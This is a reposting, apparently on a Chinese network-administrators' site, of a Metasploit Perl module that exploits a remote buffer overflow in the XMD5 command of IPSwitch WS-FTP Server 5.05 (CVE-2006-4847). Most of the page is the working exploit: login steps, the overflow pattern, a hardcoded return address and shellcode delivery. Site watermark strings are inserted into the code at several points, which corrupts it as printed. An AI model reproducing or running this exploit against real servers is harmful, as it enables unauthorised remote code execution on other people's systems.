网管联盟 | 网管论坛 | 网管u家 | 网管博客 | 网管软件 | 网管求职 | 小游戏 | 网管搜索 | 网管原创 | 网管聚合 | 网管读摘 | 网管焦点 | 世界素材 | 会员投稿 | 会员中心 
中国网管联盟
Windows Linux Cisco 网络技术 数据库 黑客攻防 DotNet Java PHP 认证 新闻资讯 服务器 存储资讯 网络设备 网管学堂 技术专题 焦点 网吧频道
 当前位置: > bitsCN.com > 网络攻防 > 黑客技术 > Exploit > IPSwitch WS-FTP 5.05 (XMD5) Remote Buffer Overflow Exploit (meta)  

IPSwitch WS-FTP 5.05 (XMD5) Remote Buffer Overflow Exploit (meta)

2007-05-16  作者:bitsCN整理  来源:中国网管联盟  点评 投稿 收藏

##    
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::wsftp_server_505_xmd5;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };
my $info =
  {
    'Name'    => 'WS-FTP Server 5.05 XMD5 Overflow',
    'Version' => '$Revision: 1.0 $',
    'Authors' =>
      [ 'Jacopo Cervini <acaro [at] jervus.it>',
         网管下载dl.bitscn.com
      ],

    'Arch'  => [ 'x86' ],
    'OS'    => [ 'win32', 'win2000', 'winxp', 'win2003' ],
    'Priv'  => 0,

    'AutoOpts'  => { 'EXITFUNC' => 'thread' },
    'UserOpts'  =>
      {
        'RHOST' => [1, 'ADDR', 'The target address'],
        'RPORT' => [1, 'PORT', 'The target port', 21],
        'SSL'   => [0, 'BOOL', 'Use SSL'],
        'USER'  => [1, 'DATA', 'Username', 'ftp'],
        'PASS'  => [1, 'DATA', 'Password', 'ftp'],

网管下载dl.bitscn.com


      },

    'Payload' =>
      {
        'Space'  => 329,
        'BadChars'  => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",

        
        'Keys'         => ['+ws2ord'],
      },

    'Description'  =>  Pex::Text::Freeform(qq{
        This module exploits the buffer overflow found in the XMD command
        in IPSWITCH WS_FTP Server 5.05.    
}),

    'Refs'  => 网管朋友网www_bitscn_net
      [
        ['BID', '20076'],
        [ 'CVE', '2006-4847' ],
      ],

    'DefaultTarget' => 0,
    'Targets' =>
      [
        ['WS-FTP Server 5.05 Universal', 0x1002e636 ],    # push esp, ret in LIBEAY32.dll
      ],

    'Keys' => ['wsftp'],

    'DisclosureDate' => 'Sep 14 2006',
  };

sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
    return($self);
} 网管朋友网www_bitscn_net


sub Exploit {
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $target_idx  = $self->GetVar('TARGET');
    my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
    my $target      = $self->Targets->[$target_idx];

    if (! $self->InitNops(128)) {
        $self->PrintLine("[*] Failed to initialize the NOP module.");
        return;
    }

    my $request = Pex::Text::PatternCreate(676);
    $request .= pack("V", $target->[1]);
    $request .= $shellcode;

网管联盟bitsCN_com


    
    
    

    my $s = Msf::Socket::Tcp->new
      (
        'PeerAddr'  => $target_host,
        'PeerPort'  => $target_port,
        'LocalPort' => $self->GetVar('CPORT'),
        'SSL'       => $self->GetVar('SSL'),
      );

    if ($s->IsError) {
        $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
        return;
    }

    my $r = $s->RecvLineMulti(20);

网管u家bitscn.net


    if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
    $self->Print($r);

    $s->Send("USER ".$self->GetVar('USER')."\n");
    $r = $s->RecvLineMulti(10);
    if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
    $self->Print($r);

    $s->Send("PASS ".$self->GetVar('PASS')."\n");
    $r = $s->RecvLineMulti(10);
    if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
    $self->Print($r);

    $self->PrintLine("[*] Attemping to exploit target '".$target->[0]."'...");

    $s->Send("XMD5 $request\n"); 网管bitscn_com
    $r = $s->RecvLineMulti(10);
    if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
    $self->Print($r);

    sleep(2);
    return;
}//
TAGs         >   self->   "   my   the   s->   return   GetVar      
 上一篇:Mozilla Firefox <= 2.0.0.1 (location.hostname) Cross-Domain Vulnerability   下一篇:Axigen eMail Server 2.0.0b2 (pop3) Remote Format String Exploit
IPSwitch WS-FTP 5.05 (XMD5) Remote Buffer Overflow Exploit (meta) 评论:
loading.. 评论加载中…
评论:请自觉遵守互联网相关政策法规,评论不得超过250字。

验证码: 注册用户
本类热门排行:
最新推荐文章:
网管论坛交流: